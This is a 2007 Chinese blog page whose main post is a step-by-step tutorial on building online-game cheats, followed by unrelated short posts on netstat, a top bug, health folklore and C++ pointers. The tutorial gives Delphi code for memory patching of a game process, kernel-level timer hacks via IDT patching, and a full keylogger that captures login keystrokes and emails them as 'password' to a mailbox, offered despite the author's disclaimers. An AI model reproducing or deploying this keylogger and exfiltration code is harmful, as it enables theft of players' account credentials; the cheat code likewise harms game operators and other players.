一曲新词酒一杯,去年天气旧亭台,夕阳西下几时回? 无可奈何花落去,似曾相识燕归来,小园香径独徘徊。

发布新日志

  • 网络游戏外挂制作

    caianying 发布于 2007-01-13 16:08:36

           在几年前我看到别人玩网络游戏用上了外挂,做为程序员的我心里实在是不爽,想搞清楚这到底是怎么回事。就拿了一些来研究,小有心得,拿出来与大家共享,外挂无非就是分几种罢了(依制作难度):

    1、动作式,所谓动作式,就是指用API发命令给窗口或API控制鼠标、键盘等,使游戏里的人物进行流动或者攻击,最早以前的“石器”外挂就是这种方式。(这种外挂完全是垃圾,TMD,只要会一点点API的人都知道该怎么做,不过这种外挂也是入门级的好东东,虽然不能提高你的战斗力,但是可以提高你的士气^_^)

    2、本地修改式,这种外挂跟传统上的一些游戏修改器没有两样,做这种外挂在编程只需要对内存地址有一点认识并且掌握API就可以实现,“精灵”的外挂这是这种方式写成的,它的难点在于找到那些地址码,找地址一般地要借助于别人的工具,有的游戏还有双码校验,正正找起来会比较困难。(这种外挂,比上一种有一点点难度,但是这种外挂做起来能够用,也是有一定难度的啦~~,这种外挂可以很快提升你对内存地址的理解及应用,是你编程技术提高的好东东)

    3、木马式,这种外挂的目的是帮外挂制作者偷到用户的密码(TMD,“烂”就一个字,不过要知已知彼所以还是要谈一下啦~~),做这种外挂有一定的难度,需要HOOK或键盘监视技术做底子,才可以完成,它的原理是先首截了用户的帐号或密码,然后发到指定邮箱。(我以前写过这样的东东,但是从来没有用过,我知道这种东东很不道德,所以以后千万别用呀!~~)

    4、加速式,这种外挂可以加快游戏的速度……(对不起大家,这种东东我没有实际做过,所以不能妄自评,惭愧~~)

    5、封包式,这种外挂是高难度外挂,需要有很强的编程功力才可以写得出来。它的原理是先截取封包,后修改,再转发(Kao,说起来简单,你做一个试试~~~~)。这种外挂适用于大多数网络游戏,像WPE及一些网络游戏外挂都是用这种方式写成的,编写这种外挂需要apihook技术,winsock技术

      这几种外挂之中,前三种可以用VB,DELPHI等语言比较好实现,后两种则要用VC等底层支持比较好的编程工具才好实现。

    现在就依次(制作难度)由浅到深谈谈我对外挂制作的一些认识吧~~~~

    首先,先来谈一下动作式的外挂,这也是我第一次写外挂时做的最简单的一种。记得还在“石器”时代的时候,我看到别人挂着一种软件(外挂)人物就可以四外游走(当时我还不知道外挂怎么回事^_^),于是找了这种软件过来研究(拿来后才听别人说这叫外挂),发现这种东东其实实现起来并不难,仔佃看其实人物的行走无非就是鼠标在不同的地方点来点去而已,看后就有实现这功能的冲动,随后跑到MSDN上看了一些资料,发现这种实现这几个功能,只需要几个简单的API函数就可以搞定:

    1、首先我们要知道现在鼠标的位置(为了好还原现在鼠标的位置)所以我们就要用到API函数GetCursorPos,它的使用方法如下:
    BOOL GetCursorPos( LPPOINT lpPoint // address of structure for cursor position );

    2、我们把鼠标的位置移到要到人物走到的地方,我们就要用到SetCursorPos函数来移动鼠标位置,它的使用方法如下:
    BOOL SetCursorPos(

    int X, // horizontal position 
    int Y // vertical position
    );
    3、模拟鼠标发出按下和放开的动作,我们要用到mouse_event函数来实现,具休使用方法用下:

    VOID mouse_event(

    DWORD dwFlags, // flags specifying various motion/click variants
    DWORD dx, // horizontal mouse position or position change
    DWORD dy, // vertical mouse position or position change
    DWORD dwData, // amount of wheel movement
    DWORD dwExtraInfo // 32 bits of application-defined information
    );
    在它的dwFlags处,可用的事件很多如移动MOUSEEVENTF_MOVE,左键按下MOUSEEVENTF_LEFTDOWN,左键放开MOUSEEVENTF_LEFTUP,具体的东东还是查一下MSDN吧~~~~~

    好了,有了以前的知识,我们就可以来看看人物移走是怎么实现的了:

    getcursorpos(point);
    setcursorpos(ranpoint(80,windowX),ranpoint(80,windowY));//ranpoint是个自制的随机坐标函数
    mouse_event(MOUSEEVENTF_LEFTDOWN,0,0,0,0);
    mouse_event(MOUSEEVENTF_LEFTUP,0,0,0,0);
    setcursorpos(point.x,point.y);

    看了以上的代码,是不是觉得人物的游走很简单啦~~,举一仿三,还有好多好东东可以用这个技巧实现(我早就说过,TMD,这是垃圾外挂的做法,相信了吧~~~),接下来,再看看游戏里面自动攻击的做法吧(必需游戏中攻击支持快捷键的),道理还是一样的,只是用的API不同罢了~~~,这回我们要用到的是keybd_event函数,其用法如下:

    VOID keybd_event(

    BYTE bVk, // virtual-key code
    BYTE bScan, // hardware scan code
    DWORD dwFlags, // flags specifying various function options
    DWORD dwExtraInfo // additional data associated with keystroke
    );
    我们还要知道扫描码不可以直接使用,要用函数MapVirtualKey把键值转成扫描码,MapVirtualKey的具体使用方法如下:
    UINT MapVirtualKey(

    UINT uCode, // virtual-key code or scan code
    UINT uMapType // translation to perform

    );
    好了,比说此快接键是CTRL+A,接下来让我们看看实际代码是怎么写的:

    keybd_event(VK_CONTROL,mapvirtualkey(VK_CONTROL,0),0,0);
    keybd_event(65,mapvirtualkey(65,0),0,0);
    keybd_event(65,mapvirtualkey(65,0),keyeventf_keyup,0);
    keybd_event(VK_CONTROL,mapvirtualkey(VK_CONTROL,0),keyeventf_keyup,0);

    首先模拟按下了CTRL键,再模拟按下A键,再模拟放开A键,最后放开CTRL键,这就是一个模拟按快捷键的周期。
    (看到这里,差不多对简易外挂有了一定的了解了吧~~~~做一个试试?如果你举一仿三还能有更好的东东出来,这就要看你的领悟能力了~~,不过不要高兴太早这只是才开始,以后还有更复杂的东东等着你呢~~)

    上回我们对动作式外挂做了一个解析,动作式是最简单的外挂,现在我们带来看看,比动作式外挂更进一步的外挂棗本地修改式外挂的整个制作过程进行一个详细的分解。
    具我所知,本地修改式外挂最典型的应用就是在“精灵”游戏上面,因为我在近一年前(“精灵”还在测试阶段),我所在的公司里有很多同事玩“精灵”,于是我看了一下游戏的数据处理方式,发现它所发送到服务器上的信息是存在于内存当中(我看后第一个感受是:修改这种游戏和修改单机版的游戏没有多大分别,换句话说就是在他向服务器提交信息之前修改了内存地址就可以了),当时我找到了地址于是修改了内存地址,果然,按我的想法修改了地址,让系统自动提交后,果然成功了~~~~~,后来“精灵”又改成了双地址校检,内存校检等等,在这里我就不废话了~~~~,OK,我们就来看看这类外挂是如何制作的:

    在做外挂之前我们要对Windows的内存有个具体的认识,而在这里我们所指的内存是指系统的内存偏移量,也就是相对内存,而我们所要对其进行修改,那么我们要对几个Windows API进行了解,OK,跟着例子让我们看清楚这种外挂的制作和API的应用(为了保证网络游戏的正常运行,我就不把找内存地址的方法详细解说了):
    1、首先我们要用FindWindow,知道游戏窗口的句柄,因为我们要通过它来得知游戏的运行后所在进程的ID,下面就是FindWindow的用法:
    HWND FindWindow(

    LPCTSTR lpClassName, // pointer to class name

    LPCTSTR lpWindowName // pointer to window name
    );
    2、我们GetWindowThreadProcessId来得到游戏窗口相对应进程的进程ID,函数用法如下:
    DWORD GetWindowThreadProcessId(

    HWND hWnd, // handle of window
    LPDWORD lpdwProcessId // address of variable for process identifier
    );
    3、得到游戏进程ID后,接下来的事是要以最高权限打开进程,所用到的函数OpenProcess的具体使用方法如下:
    HANDLE OpenProcess(

    DWORD dwDesiredAccess, // access flag 

    BOOL bInheritHandle, // handle inheritance flag 
    DWORD dwProcessId // process identifier 
    );
    在dwDesiredAccess之处就是设存取方式的地方,它可设的权限很多,我们在这里使用只要使用PROCESS_ALL_ACCESS 来打开进程就可以,其他的方式我们可以查一下MSDN。
    4、打开进程后,我们就可以用函数对存内进行操作,在这里我们只要用到WriteProcessMemory来对内存地址写入数据即可(其他的操作方式比如说:ReadProcessMemory等,我在这里就不一一介绍了),我们看一下WriteProcessMemory的用法:

    BOOL WriteProcessMemory(

    HANDLE hProcess, // handle to process whose memory is written to 
    LPVOID lpBaseAddress, // address to start writing to 
    LPVOID lpBuffer, // pointer to buffer to write data to
    DWORD nSize, // number of bytes to write
    LPDWORD lpNumberOfBytesWritten // actual number of bytes written 
    );
    5、下面用CloseHandle关闭进程句柄就完成了。
    这就是这类游戏外挂的程序实现部份的方法,好了,有了此方法,我们就有了理性的认识,我们看看实际例子,提升一下我们的感性认识吧,下面就是XX游戏的外挂代码,我们照上面的方法对应去研究一下吧:

    const
    ResourceOffset: dword = $004219F4;
    resource: dword = 3113226621;
    ResourceOffset1: dword = $004219F8;
    resource1: dword = 1940000000;
    ResourceOffset2: dword = $0043FA50;
    resource2: dword = 1280185;
    ResourceOffset3: dword = $0043FA54;
    resource3: dword = 3163064576;
    ResourceOffset4: dword = $0043FA58;
    resource4: dword = 2298478592;
    var
    hw: HWND;
    pid: dword;
    h: Thandle;
    tt: Cardinal;
    begin
    hw := FindWindow('XX', nil);
    if hw = 0 then

    Exit;
    GetWindowThreadProcessId(hw, @pid);
    h := OpenProcess(PROCESS_ALL_ACCESS, false, pid);
    if h = 0 then
    Exit;
    if flatcheckbox1.Checked=true then
    begin
    WriteProcessMemory(h, Pointer(ResourceOffset), @Resource, sizeof(Resource), tt);
    WriteProcessMemory(h, Pointer(ResourceOffset1), @Resource1, sizeof(Resource1), tt);
    end;
    if flatcheckbox2.Checked=true then
    begin
    WriteProcessMemory(h, Pointer(ResourceOffset2), @Resource2, sizeof(Resource2), tt);

    WriteProcessMemory(h, Pointer(ResourceOffset3), @Resource3, sizeof(Resource3), tt);
    WriteProcessMemory(h, Pointer(ResourceOffset4), @Resource4, sizeof(Resource4), tt);
    end;
    MessageBeep(0);
    CloseHandle(h);
    close;
    这个游戏是用了多地址对所要提交的数据进行了校验,所以说这类游戏外挂制作并不是很难,最难的是要找到这些地址。
    (方法大家已经看清楚了,具体实践就看大家的了,呵呵~~~~~~,不过不要高兴太早,这种网络游戏毕竟占少数,所以我会在以后的文章中对其他类型外挂做详细解说,对了,请跟一下贴子,鼓励一下,不然我真的没有信心写下面的文章了,谢谢)

    以前介绍过的动作式,本地修改式外挂是真正意义上的外挂,而今天本文要介绍的木马式外挂,可能大多像木马吧,是帮助做外挂的人偷取别人游戏的帐号及密码的东东。因为网络上有此类外挂的存在,所以今天不得不说一下(我个人是非常讨厌这类外挂的,请看过本文的朋友不要到处乱用此技术,谢谢合作)。要做此类外挂的程序实现方法很多(比如HOOK,键盘监视等技术),因为HOOK技术对程序员的技术要求比较高并且在实际应用上需要多带一个动态链接库,所以在文中我会以键盘监视技术来实现此类木马的制作。键盘监视技术只需要一个.exe文件就能实现做到后台键盘监视,这个程序用这种技术来实现比较适合。

    在做程序之前我们必需要了解一下程序的思路:
    1、我们首先知道你想记录游戏的登录窗口名称。
    2、判断登录窗口是否出现。
    3、如果登录窗口出现,就记录键盘。
    4、当窗口关闭时,把记录信息,通过邮件发送到程序设计者的邮箱。
    第一点我就不具体分析了,因为你们比我还要了解你们玩的是什么游戏,登录窗口名称是什么。从第二点开始,我们就开始这类外挂的程序实现之旅:
    那么我们要怎么样判断登录窗口虽否出现呢?其实这个很简单,我们用FindWindow函数就可以很轻松的实现了:

    HWND FindWindow(

    LPCTSTR lpClassName, // pointer to class name
    LPCTSTR lpWindowName // pointer to window name
    );
    实际程序实现中,我们要找到'xx'窗口,就用FindWindow(nil,'xx')如果当返回值大于0时表示窗口已经出现,那么我们就可以对键盘信息进行记录了。
    先首我们用SetWindowsHookEx设置监视日志,而该函数的用法如下:
    HHOOK SetWindowsHookEx(

    int idHook, // type of hook to install
    HOOKPROC lpfn, // address of hook procedure

    HINSTANCE hMod, // handle of application instance
    DWORD dwThreadId // identity of thread to install hook for 
    ); 
    在这里要说明的是在我们程序当中我们要对HOOKPROC这里我们要通过写一个函数,来实现而HINSTANCE这里我们直接用本程序的HINSTANCE就可以了,具体实现方法为:
    hHook := SetWindowsHookEx(WH_JOURNALRECORD, HookProc, Hinstance, 0); 
    而HOOKPROC里的函数就要复杂一点点:
    function HookProc(iCode: integer; wParam: wParam; lParam: lParam): Lresult; stdcall; 

    begin 
    if findedtitle then //如果发现窗口后
    begin 
    if (peventmsg(lparam)^.message = WM_KEYDOWN) then //消息等于键盘按下
    hookkey := hookkey + Form1.Keyhookresult(peventMsg(lparam)^.paramL, peventmsg(lparam)^.paramH); //通过keyhookresult(自定义的函数,主要功能是转换截获的消息参数为按键名称。我会在文章尾附上转化函数的)转换消息。
    If length(hookkey) > 0 then //如果获得按键名称
    begin 
    Write(hookkeyFile,hookkey); //把按键名称写入文本文件

    hookkey := ''; 
    end; 
    end; 
    end; 
    以上就是记录键盘的整个过程,简单吧,如果记录完可不要忘记释放呀,UnHookWindowsHookEx(hHook),而Hhook,就是创建setwindowshookex后所返回的句柄。
    我们已经得到了键盘的记录,那么现在最后只要把记录的这些信息发送回来,我们就大功造成了。其他发送这块并不是很难,只要把记录从文本文件里边读出来,用DELPHI自带的电子邮件组件发一下就万事OK了。代码如下:
    assignfile(ReadFile,'hook.txt'); //打开hook.txt这个文本文件
    reset(ReadFile); //设为读取方式

    try 
    While not Eof(ReadFile) do //当没有读到文件尾
    begin 
    Readln(ReadFile,s,j); //读取文件行
    body:=body+s; 
    end; 
    finally 
    closefile(ReadFile); //关闭文件
    end; 
    nmsmtp1.EncodeType:=uuMime; //设置编码
    nmsmtp1.PostMessage.Attachments.Text:=''; //设置附件
    nmsmtp1.PostMessage.FromAddress:='XXX@XXX.com'; //设置源邮件地址
    nmsmtp1.PostMessage.ToAddress.Text:='XXX@XXX.com'; /设置目标邮件地址

    nmsmtp1.PostMessage.Body.Text:='密码'+' '+body; //设置邮件内容
    nmsmtp1.PostMessage.Subject:='password'; //设置邮件标题
    nmsmtp1.SendMail; //发送邮件
    这个程序全部功能已经实现,编编试试~~~对了,我以前写的类似的作品可以在www.playicq.com上找得到。
    (其实做一个这样的东东也不难,基本也是说不上什么技术可言。希望大看我的文章后不要到处乱应用呀~~~~小生在此有礼了~~~,最后要说的是我最近一段时间很忙,单位里有一堆事情等着我要去做(做项目,做研发,带实习生,过CMM2~~~~累呀),所以第5篇也不得不推后出了,请大家谅解,做为对大家关心的补偿,请大家有什么问题跟贴留言,如果我会,我会一一解答的,谢谢大家对我的文章的关心~~)

    附:
    function Keyhookresult(Lp: integer; Wp: integer): pchar; 
    begin 
    result := '[Print Screen]'; 
    case lp of 
    10688: result := '`'; 
    561: Result := '1'; 
    818: result := '2'; 
    1075: result := '3'; 
    1332: result := '4'; 
    1589: result := '5'; 
    1846: result := '6'; 
    2103: result := '7'; 
    2360: result := '8'; 
    2617: result := '9'; 
    2864: result := '0'; 
    3261: result := '-'; 
    3515: result := '='; 
    4177: result := 'Q'; 

    4439: result := 'W'; 
    4677: result := 'E'; 
    4946: result := 'R'; 
    5204: result := 'T'; 
    5465: result := 'Y'; 
    5717: result := 'U'; 
    5961: result := 'I'; 
    6223: result := 'O'; 
    6480: result := 'P'; 
    6875: result := '['; 
    7133: result := ']'; 
    11228: result := '\'; 
    7745: result := 'A'; 
    8019: result := 'S'; 
    8260: result := 'D'; 
    8518: result := 'F'; 
    8775: result := 'G'; 
    9032: result := 'H'; 
    9290: result := 'J'; 
    9547: result := 'K'; 

    9804: result := 'L'; 
    10170: result := ';'; 
    10462: result := ''''; 
    11354: result := 'Z'; 
    11608: result := 'X'; 
    11843: result := 'C'; 
    12118: result := 'V'; 
    12354: result := 'B'; 
    12622: result := 'N'; 
    12877: result := 'M'; 
    13244: result := ','; 
    13502: result := '.'; 
    13759: result := '/'; 
    13840: result := '[Right-Shift]'; 
    14624: result := '[Space]'; 
    283: result := '[Esc]'; 
    15216: result := '[F1]'; 
    15473: result := '[F2]'; 

    15730: result := '[F3]'; 
    15987: result := '[F4]'; 
    16244: result := '[F5]'; 
    16501: result := '[F6]'; 
    16758: result := '[F7]'; 
    17015: result := '[F8]'; 
    17272: result := '[F9]'; 
    17529: result := '[F10]'; 
    22394: result := '[F11]'; 
    22651: result := '[F12]'; 
    10768: Result := '[Left-Shift]'; 
    14868: result := '[CapsLock]'; 
    3592: result := '[Backspace]'; 
    3849: result := '[Tab]'; 
    7441: 
    if wp > 30000 then 
    result := '[Right-Ctrl]' 

    else 
    result := '[Left-Ctrl]'; 
    13679: result := '[Num /]'; 
    17808: result := '[NumLock]'; 
    300: result := '[Print Screen]'; 
    18065: result := '[Scroll Lock]'; 
    17683: result := '[Pause]'; 
    21088: result := '[Num0]'; 
    21358: result := '[Num.]'; 
    20321: result := '[Num1]'; 
    20578: result := '[Num2]'; 
    20835: result := '[Num3]'; 
    19300: result := '[Num4]'; 
    19557: result := '[Num5]'; 
    19814: result := '[Num6]'; 
    18279: result := '[Num7]'; 

    18536: result := '[Num8]'; 
    18793: result := '[Num9]'; 
    19468: result := '[*5*]'; 
    14186: result := '[Num *]'; 
    19053: result := '[Num -]'; 
    20075: result := '[Num +]'; 
    21037: result := '[Insert]'; 
    21294: result := '[Delete]'; 
    18212: result := '[Home]'; 
    20259: result := '[End]'; 
    18721: result := '[PageUp]'; 
    20770: result := '[PageDown]'; 
    18470: result := '[UP]'; 
    20520: result := '[DOWN]'; 
    19237: result := '[LEFT]'; 
    19751: result := '[RIGHT]'; 

    7181: result := '[Enter]'; 
    end; 
    end;



    我一直没有搞懂制作加速外挂是怎么一回事,直到前不久又翻出来了2001年下半期的《程序员合订本》中《“变速齿轮”研究手记》重新回味了一遍,才有了一点点开悟,随后用Delphi重写了一遍,下面我就把我的心得说给大家听听,并且在此感谢《“变速齿轮”研究手记》作者褚瑞大虲给了提示。废话我就不多说了,那就开始神奇的加速型外挂体验之旅吧!
    原本我一直以为加速外挂是针对某个游戏而写的,后来发现我这种概念是不对的,所谓加速外挂其实是修改时钟频率达到加速的目的。

    以前DOS时代玩过编程的人就会马上想到,这很简单嘛不就是直接修改一下8253寄存器嘛,这在以前DOS时代可能可以行得通,但是windows则不然。Windows是一个32位的操作系统,并不是你想改哪就改哪的(微软的东东就是如此霸气,说不给你改就不给你改^_^),但要改也不是不可能,我们可以通过两种方法来实现:第一是写一个硬件驱动来完成,第二是用Ring0来实现(这种方法是CIH的作者陈盈豪首用的,它的原理是修改一下IDE表->创建一个中断门->进入Ring0->调用中断修改向量,但是没有办法只能用ASM汇编来实现这一切*_*,做为高级语言使用者惨啦!),用第一种方法用点麻烦,所以我们在这里就用第二种方法实现吧~~~

    在实现之前我们来理一下思路吧:
    1、我们首先要写一个过程在这个过程里嵌入汇编语言来实现修改IDE表、创建中断门,修改向量等工作
    2、调用这个过程来实现加速功能
    好了,现在思路有了,我们就边看代码边讲解吧:
    首先我们建立一个过程,这个过程就是本程序的核心部份:
    procedure SetRing(value:word); stdcall; 
    const ZDH = $03; // 设一个中断号
    var
    IDT : array [0..5] of byte; // 保存IDT表
    OG : dword; //存放旧向量

    begin
    asm
    push ebx
    sidt IDT //读入中断描述符表
    mov ebx, dword ptr [IDT+2] //IDT表基地址
    add ebx, 8*ZDH //计算中断在中断描述符表中的位置
    cli //关中断
    mov dx, word ptr [ebx+6] 
    shl edx, 16d 
    mov dx, word ptr [ebx] 
    mov [OG], edx 
    mov eax, offset @@Ring0 //指向Ring0级代码段
    mov word ptr [ebx], ax //低16位,保存在1,2位

    shr eax, 16d
    mov word ptr [ebx+6], ax //高16位,保存在6,7位
    int ZDH //中断
    mov ebx, dword ptr [IDT+2] //重新定位
    add ebx, 8*ZDH
    mov edx, [OG]
    mov word ptr [ebx], dx
    shr edx, 16d
    mov word ptr [ebx+6], dx //恢复被改了的向量
    pop ebx
    jmp @@exitasm //到exitasm处
    @@Ring0: //Ring0,这个也是最最最核心的东东
    mov al,$34 //写入8253控制寄存器

    out $43,al
    mov ax,value //写入定时值
    out $40,al //写定时值低位
    mov al,ah
    out $40,al //写定时值高位
    iretd //返回
    @@exitasm:
    end;
    end;
    最核心的东西已经写完了,大部份读者是知其然不知其所以然吧,呵呵,不过不知其所以然也然。下面我们就试着用一下这个过程来做一个类似于“变速齿轮”的一个东东吧!
    先加一个窗口,在窗口上放上一个trackbar控件把其Max设为20,Min设为1,把Position设为10,在这个控件的Change事件里写上:

    SetRing(strtoint('$'+inttostr(1742+(10-trackbar1.Position)*160)));

    因为windows默认的值为$1742,所以我们把1742做为基数,又因为值越小越快,反之越慢的原理,所以写了这样一个公式,好了,这就是“变速齿轮”的一个Delphi+ASM版了(只适用于win9X),呵呵,试一下吧,这对你帮助会很大的,呵呵。



    我的文章名字没有叫《网络游戏外挂制作之我所见(6)》是因为本文六以后研究的方向就是网络数据封包的内容了,而本文将要介绍的是windows 2000/Xp下实现加速形外挂的制作。
    在win2000里,我们不可能实现在直接对端口进行操作,Ring0也失了效,有的人就会想到,我们可以写驱动程序来完成呀,但在这里我告诉你,windows2000的驱动不是一个VxD就能实现的,像我这样的低手是写不出windows所用的驱动WDM的,没办法,我只有借助外力实现了,ProtTalk就是一个很好的设备驱动,他很方便的来实现对低层端口的操作,从而实现加速外挂。

    1、我们首先要下一个PortTalk驱动,他的官方网站是http://www.beyondlogic.org
    2、我们要把里面的prottalk.sys拷贝出来。
    3、建立一个Protalk.sys的接口(我想省略了,大家可以上http://www.freewebs.com/liuyue/porttalk.pas下个pas文件自己看吧)
    4、实现加速外挂。
    本来就篇就是补充篇原理我也不想讲太多了,下面就讲一下这程序的实现方法吧,如果说用ProtTalk来操作端口就容易多了,比win98下用ring权限操作方便。
    1、新建一个工程,把刚刚下的接口文件和Protalk.sys一起拷到工程文件保存的文件夹下。

    2、我们在我们新建的工程加入我们的接口文件
    uses
    windows,ProtTalk……
    3、我们建立一个过程
    procedure SetRing(value:word); 
    begin
    if not OpenPortTalk then exit;
    outportb($43,$34);
    outportb($40,lo(Value));
    outprotb($40,hi(value));
    ClosePortTalk;
    end;

    4、先加一个窗口,在窗口上放上一个trackbar控件把其Max设为20,Min设为1,把Position设为10,在这个控件的Change事件里写上:

    SetRing(strtoint('$'+inttostr(1742+(10-trackbar1.Position)*160)));

    就这么容易,win2000的也就写出来了,我最近真的很忙,请大家耐心等待~~~~谢谢大家支持ing
  • 查看Windows端口的占用情况

    紫梦 发布于 2007-01-19 15:45:12

     

    1、在命令提示符中输入netstat   -a   -o

    2、比对PID,看哪个端口的PID与进程的PID相同,则说明这个端口被这个进程所占用

  • Top的一个bug

    rickyzhu 发布于 2007-02-01 23:13:55

    今天发现了top命令的一个bug, 监控进程的时候,明明当前有三个进程,可是top的低版本只能取到其中一个进程的资源信息.

    但是用高版本的就可以,操作日志如下:

    [root@MD_100_22 bin]# ./linux_top -b -n 2 -d 2 > old.log

    [root@MD_100_22 bin]# top -b -n 2 -d 2 > new.log

    查看了一下版本信息:

    [root@MD_100_22 bin]# ./linux_top -version

    procps version 2.0.11

    [root@MD_100_22 bin]# top -version

    top: procps version 3.2.5

    usage: top -hv | -bcisS -d delay -n iterations [-u user | -U user] -p pid [,pid ...]

    然后对文件内容进行对比:

    [root@MD_100_22 bin]#

    [root@MD_100_22 bin]# grep "media_director" old.log

    1563 root 15 0 104M 2292 1884 S 9.9 0.1 10:46 0 media_director

    1563 root 15 0 104M 2292 1884 S 9.4 0.1 10:46 0 media_director

    [root@MD_100_22 bin]# grep "media_director" new.log

    1567 root 15 0 1037m 601m 408m S 11.9 29.7 10:48.14 media_director

    1563 root 15 0 104m 2292 1884 S 0.0 0.1 0:00.01 media_director

    1568 root 16 0 104m 2304 1892 S 0.0 0.1 0:00.02 media_director

    1567 root 15 0 1037m 601m 408m S 8.0 29.7 10:48.30 media_director

    1563 root 15 0 104m 2292 1884 S 0.0 0.1 0:00.01 media_director

    1568 root 16 0 104m 2304 1892 S 0.0 0.1 0:00.02 media_director

    [root@MD_100_22 bin]#


    new的结果分析,显然每次有三个media_director的进程,可是老版本的居然只能取到一个,看来真的是bug.

    man top的时候看到报bug可以发邮件

    Michael K. Johnson <johnsonm@redhat.com> is now the maintainer.

    Please send bug reports to procps-list@redhat.com

    发了俩封邮件居然都被reject,,郁闷

    下载最新的top,请到官方网址.

  • 养生之道

    fish_yy 发布于 2007-03-13 17:02:00

    晚上 9-11点为免疫系统(淋巴)排毒时间,此段时间应安静或听音乐

    晚间 11-凌晨 1点,肝的排毒,需在熟睡中进行。

    凌晨 1-3点,胆的排毒,亦同。

    凌晨 3-5点,肺的排毒。此即为何咳嗽的人在这段时间咳得最剧烈,因排毒动作已走到肺;不应用止咳药,以免抑制废积物的排除。

    凌晨 5-7点,大肠的排毒,应上厕所排便。

    凌晨 7-9点,小肠大量吸收营养的时段,应吃早餐。疗病者最好早吃,在
    6点半前,养生者在7点半前,不吃早餐者应改变习惯,即使拖到9、 10 点吃都比不吃好。

    半夜至凌晨4点为脊椎造血时段,必须熟睡,不宜熬夜。

    千万劳记:工作不是生活的全部!



    测试者家园 2007-03-07 16:34 发表评论


    Link URL: http://www.cnblogs.com/tester2test/archive/2007/03/07/666982.html
  • C++指针探索(二) [转载]

    robinfish337 发布于 2007-03-14 07:33:05

    在C/C++中,数据指针是最直接,也最常用的,因此,理解起来也比较容易。而函数指针,作为运行时动态调用(比如回调函数 CallBack Function)是一种常见的,而且是很好用的手段。

      我们先简单的说一下函数指针。(这一部份没什么价值,纯是为了引出下一节的内容)
       
     2 常规函数指针

            void(*fp)();

      fp 是一个典型的函数指针,用于指向无参数,无返回值的函数。

            void(*fp2)(int);

      fp2 也是一个函数指针,用于指向有一个整型参数,无返回值的函数。
      当然,有经验人士一般都会建议使用typedef来定义函数指针的类型,如:

            typedef void(* FP)();
            FP fp3; 
    // 和上面的fp一样的定义。

      函数指针之所以让初学者畏惧,最主要的原因是它的括号太多了;某些用途的函数指针,往往会让人陷在括号堆中出不来,这里就不举例了,因为不是本文讨论的范围;typedef 方法可以有效的减少括号的数量,以及理清层次,所以受到推荐。本文暂时只考虑简单的函数指针,因此暂不用到typedef。

      假如有如下两个函数:

      void f1()
      
    {
          std::cout 
    << "call f " << std::endl;
      }

      
      
    void f2(int a)
      
    {
          std::cout 
    << "call f2( " << a << " )" << std::endl;
      }

      现在需要通过函数指针来调用,我们需要给指针指定函数:

      fp = &f1; // 也可以用:fp = f1;
      fp2= &f2; // 也可以用:fp2= f2;
      void (*fp3)() = &f1; // 也可以用:void (*fp3)() = f1;  
      
    //调用时如下:
      fp(); // 或 (*fp)();
      fp2(1); // 或 (*fp2)(1);
      fp3();  // 或 (*fp3)();

      对于此两种调用方法,效果完全一样,我推荐用前一种。后一种不仅仅是多打了键盘,而且也损失了一些灵活性。这里暂且不说它。
      
      C++强调类型安全。也就是说,不同类型的变量是不能直接赋值的,否则轻则警告,重则报错。这是一个很有用的特性,常常能帮我们找到问题。因此,有识之士认为,C++中的任何一外警告都不能忽视。甚至有人提出,编译的时候不能出现任何警告信息,也就是说,警告应该当作错误一样处理。
      
      比如,我们把f1赋值给fp2,那么C++编译器(vc7.1)就会报错:

      fp2 = &f1; // error C2440: “=” : 无法从“void (__cdecl *)(void)”转换为“void (__cdecl *)(int)”
      fp1 = &f1; // OK

      这样,编译器可以帮我们找出编码上的错误,节省了我们的排错时间。
      
      考虑一下C++标准模板库的sort函数:

      // 快速排序函数
      template<typename RandomAccessIterator, typename BinaryPredicate>
         
    void sort(
            RandomAccessIterator _First, 
    // 需排序数据的第一个元素位置
            RandomAccessIterator _Last,  // 需排序数据的最后一个元素位置(不参与排序)
            BinaryPredicate _Comp     // 排序使用的比较算法(可以是函数指针、函数对象等)
         );

      比如,我们有一个整型数组:

      int n[5= {3,2,1,8,9};

      要对它进行升序排序,我们需定义一个比较函数:

      bool less(int a, int b)
      
    {
          
    return a < b; 
      }

      然后用:

      sort(n, n+5, less);

      要是想对它进行降序排序,我们只要换一个比较函数就可以了。C/C++的标准模板已经提供了less和great函数,因此我们可以直接用下面的语句来比较:  

      sort(n, n+5, great);


      这样,不需要改变sort函数的定义,就可以按任意方法进行排序,是不是很灵活?  
      这种用法以C++的标准模板库(STL)中非常流行。另外,操作系统中也经常使用回调(CallBack)函数,实际上,所谓回调函数,本质就是函数指针。

      看起来很简单吧,这是最普通的C语言指针的用法。本来这是一个很美妙的事情,但是当C++来临时,世界就开始变了样。
      假如,用来进行sort的比较函数是某个类的成员,那又如何呢?

  • C++指针探索(一) [转载]

    robinfish337 发布于 2007-03-14 07:30:45

    指针,在C/C++语言中一直是很受宠的;几乎找不到一个不使用指针的C/C++应用。用于存储数据和程序的地址,这是指针的基本功能。用于指向整型数,用整数指针(int*);指向浮点数用浮点数指针(float*);指向结构,用对应的结构指针(struct xxx *);指向任意地址,用无类型指针(void*)。
        有时候,我们需要一些通用的指针。在C语言当中,(void*) 可以代表一切;但是在C++中,我们还有一些比较特殊的指针,无法用(void*)来表示。事实上,在C++中,想找到一个通用的指针,特别是通用的函数指针简直是一个“不可能任务”。
       
        C++是一种静态类型的语言,类型安全在C++中举足轻重。在C语言中,你可以用void*来指向一切;但在C++中,void*并不能指向一切,就算能,也失去了类型安全的意义了。类型安全往往能帮我们找出程序中潜在的一些BUG。
       
        下面我们来探讨一下,C++中如何存储各种类型数据的指针。
        
        1.  数据指针
         数据指针分为两种:常规数据指针和成员数据指针
         
        1.1 常规数据指针
         这个不用说明了,和C语言一样,定义、赋值是很简单明了的。常见的有:int*, double* 等等。
         如:
         int value = 123;
         
    int * pn = &
    value;
       
         
        1.2 成员数据指针
         有如下的结构:
         struct MyStruct
         {
           
    int
     key;
           
    int
     value;
         };
       
         现在有一个结构对象:
         MyStruct me;
         MyStruct* pMe = &me;
       
         我们需要 value 成员的地址,我们可以:
         int * pValue = &me.value;
         //
         int * pValue = &pMe->value;
       
         当然了,这个指针仍然是属于第一种范筹----常规数据指针。
         
         好了,我们现在需要一种指针,它指向MyStruct中的任一数据成员,那么它应该是这样的子:
         int MyStruct::* pMV = &MyStruct::value;
         
    //

         int MyStruct::* pMK = &MyStruct::key;
       
         这种指针的用途是用于取得结构成员在结构内的地址。我们可以通过该指针来访问成员数据:
         int value = pMe->*pMV; // 取得pMe的value成员数据。
         int key = me.*pMK; // 取得me的key成员数据。
       
         那么,在什么场合下会使用到成员数据指针呢?
